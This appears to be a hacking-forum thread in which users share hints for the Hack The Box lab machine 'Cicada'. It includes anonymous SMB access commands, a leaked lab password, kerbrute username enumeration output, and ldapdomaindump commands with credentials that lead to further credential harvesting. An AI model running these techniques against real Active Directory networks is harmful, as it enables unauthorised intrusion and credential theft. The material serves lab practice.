[kevindragonfly]

[HTB] - Cicada
https://app.hackthebox.com/machines/627

4 hours left.

[hackemall]

lets do this windows box about time

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[wtfduw]

You can find an open SMB share: smbclient \\\\IP_ADDRESS\\DEV -N
And inside of it you'll find an HR note with a password: Cicada$M6Corpb*@Lp#nZp!8
There's another share named DEV with access denied

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[terk12]

There is a smb share opened that contains a password

[hackemall]

kerbrute Version: v1.0.3 (9dad6e1) - 09/28/24 - Ronnie Flathers @ropnop

2024/09/28 14:25:50 > Using KDC(s):
2024/09/28 14:25:50 > 10.10.11.35:88

2024/09/28 14:25:51 > [+] VALID USERNAME: michael.wrightson@cicada.htb
2024/09/28 14:25:51 > [+] VALID USERNAME: sarah.dantelia@cicada.htb
2024/09/28 14:25:51 > [+] VALID USERNAME: john.smoulder@cicada.htb
2024/09/28 14:25:51 > [+] VALID USERNAME: emily.oscars@cicada.htb
2024/09/28 14:25:51 > [+] VALID USERNAME: david.orelious@cicada.htb
2024/09/28 14:25:51 > Done! Tested 5 usernames (5 valid) in 0.073 seconds

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[grieving7]

kerbrute    Version: v1.0.3 (9dad6e1) - 09/28/24 - Ronnie Flathers @ropnop

2024/09/28 14:25:50 >  Using KDC(s):
2024/09/28 14:25:50 >      10.10.11.35:88

2024/09/28 14:25:51 >  [+] VALID USERNAME:    michael.wrightson@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    sarah.dantelia@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    john.smoulder@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    emily.oscars@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    david.orelious@cicada.htb
2024/09/28 14:25:51 >  Done! Tested 5 usernames (5 valid) in 0.073 seconds

Which command did you run?

[hackemall]

─(kali㉿kali)-[~/Desktop]
└─$ smbclient //10.10.11.35/DEV -U david.orelious

Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 12:31:39 2024
.. D 0 Thu Mar 14 12:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 17:28:22 2024

4168447 blocks of size 4096. 334899 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (6.2 KiloBytes/sec) (average 6.2 KiloBytes/sec)
smb: \> exit

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[osamy7593]

─(kali㉿kali)-[~/Desktop]
└─$ smbclient //10.10.11.35/DEV -U david.orelious

Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  D        0  Thu Mar 14 12:31:39 2024
  ..                                  D        0  Thu Mar 14 12:21:29 2024
  Backup_script.ps1                  A      601  Wed Aug 28 17:28:22 2024

                4168447 blocks of size 4096. 334899 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (6.2 KiloBytes/sec) (average 6.2 KiloBytes/sec)
smb: \> exit

no passwords work what u used>?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed

[hackemall]

use ldapdomaindump
ldapdomaindum ldap://10.10.11.35 -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
Once dumped, open domain_users.html and find another password in description field for david.orelious
Use David Orelious creds to access DEV shares and download the Backup_script.ps1
Inside you will find emily.oscars creds

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[notluken]

kerbrute    Version: v1.0.3 (9dad6e1) - 09/28/24 - Ronnie Flathers @ropnop

2024/09/28 14:25:50 >  Using KDC(s):
2024/09/28 14:25:50 >      10.10.11.35:88

2024/09/28 14:25:51 >  [+] VALID USERNAME:    michael.wrightson@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    sarah.dantelia@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    john.smoulder@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    emily.oscars@cicada.htb
2024/09/28 14:25:51 >  [+] VALID USERNAME:    david.orelious@cicada.htb
2024/09/28 14:25:51 >  Done! Tested 5 usernames (5 valid) in 0.073 seconds

Which command did you run?

kerbrute userenum --dc <IP> -d cicada.htb <PATH-TO-WORDLIST>